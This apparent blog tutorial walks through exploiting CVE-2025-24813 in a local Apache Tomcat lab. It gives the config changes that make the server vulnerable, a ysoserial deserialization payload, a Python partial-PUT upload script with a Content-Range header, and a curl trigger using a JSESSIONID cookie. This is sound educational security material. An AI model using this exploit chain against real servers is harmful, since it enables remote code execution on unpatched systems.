Exploring CVE-2025-24813: Remote Code Execution via Tomcat Session Deserialization

Summary:

CVE-2025-24813 is a critical vulnerability in certain Apache Tomcat releases. The vulnerability is caused by partial file upload through the HTTP PUT method, when Tomcat saves the uploaded content as a.session file inside the work/ directory and later deserializes the files with the PersistentManager mechanism.

In the event of successful exploitation:

  • An attacker makes a partial PUT request with a Content-Range header and deploys a malicious serialized payload to the server.

  • The malicious session file is then compromised by calling a custom JSESSIONID cookie.

  • Then, Tomcat deserializes the serialized payload on the control of the attacker and remote command execution occurs.

For the vulnerability to function:

  • DefaultServlet's readonly parameter is disabled to false

  • PersistentManager and FileStore configuration needs to be enabled.

Apache remediated this vulnerability in versions 9.0.84, 10.1.18 and 8.5.94 by introducing stronger Content-Range and session file upload controls.

CVE Exploit:

https://github.com/fatkz/CVE-2025-24813

Setting up the Vulnerable Environment:

First of all, let's start installing the vulnerable system. During the installation phase, we will use not only apache tomcat but also ysoserial.jar file for deserialization. Let's first install the vulnerable apache tomcat service.

wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.83/bin/apache-tomcat-9.0.83.tar.gz
tar -xvzf apache-tomcat-9.0.83.tar.gz
cd apache-tomcat-9.0.83

Now I will install ysoserial.jar which will help me to get RCE.

wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar -O ysoserial.jar

After downloading the service and tool files, let's make the config settings that allow the actual vulnerability. In the default settings in the conf/web.xml file, we will place the init parameter to accept the PUT and DETELE methods. In this way, we will enable methods that are not available by default.

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
//xml method added
//-------------
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
//-------------
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

As in the xml code example above, tomcat will not only work with read authorization but will also be able to accept PUT and DELETE methods.

Tomcat keeps user session information in memory and deletes it when it is restarted or after a long period of time. This can be prevented by intervening in the conf/context.xml file. This is one of the most important factors that allows us to run remote commands. I will talk about it in more detail in the rest of the blog.

<Manager className="org.apache.catalina.session.PersistentManager" 
         saveOnRestart="true" processExpiresFrequency="1" maxIdleBackup="1">
    <Store className="org.apache.catalina.session.FileStore" />
</Manager>

The above xml syntax is added to the file. Now it will keep the session information locally, not in memory, and ensure that it is not deleted permanently. After making all config settings, the only thing left is to start tomcat. For this, run the /bin/startup.sh file. When you run the file, it will run on port 8080 by default.

PoC (Proof of Concept) and Exploit:

The vulnerability consists of a chain attack in itself. By loading a deserialized payload with the ysoserial tool on the tomcat server with the PUT method enabled and accessing any page with this session name, the vulnerable system code is triggered during the serialization of the deserialized payload by tomcat and RCE vulnerability occurs.

To observe how the sesison structure is created, go to http://localhost:8080/examples/servlets/servlet/SessionExample and create a session. After creating the session, verify that the session files are created by going to apache-tomcat-9.0.83/work/Catalina/localhost/examples and see that it saves locally.

will start with the test of the PUT method. We will create a file named Test and set data.

curl -X PUT http://localhost:8080/test.txt --data 'HELLO'

Our next step is to create a session file and prepare a payload that creates the /tmp/test.txt file using ysoserial.jar. The payload will be added to the session file created by the PUT request.

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/test.txt" > payload.ser

Now our payload is ready, now we will upload our payload to the system with the name TEST123.session with the PUT method. One of the most critical points is that when the system performs the PUT operation, the file must look like half a file. Otherwise it perceives the file as a normal static file (like HTML/TXT) → writes it into webapps/ → does not deserialize it. If it recognizes the file as half, it writes it to work/Catalina/localhost/example/ as a hidden .session file → deserializes it. This is why Content-Range is used, and it makes it look like the file between 0 and N-1 has been sent. You can do this with the example python codeliriz.

import requests

url = "http://localhost:8080/examples/test123.session"
headers = {
    "Content-Range": f"bytes 0-{len(open('payload.ser','rb').read())-1}/{len(open('payload.ser','rb').read())}"
}
data = open('payload.ser','rb').read()
r = requests.put(url, headers=headers, data=data)
print(r.status_code, r.reason)

After the file is successfully uploaded, it should output the http status codes 201 and 204, otherwise it says that the processing failed.

Our session information is now kept locally and is in the deserialized payload. We will make a request to a page in Tomcat with the cookie value “JSESSIONID= test123” and trigger the payload. This will create a test.txt file in the tmp folder. For this we can use the following curl command.

curl -b "JSESSIONID=test123" "http://localhost:8080/examples/index.jsp"

In the image above, we can see that after the request, the command runs and the file is created.

References:

Updated on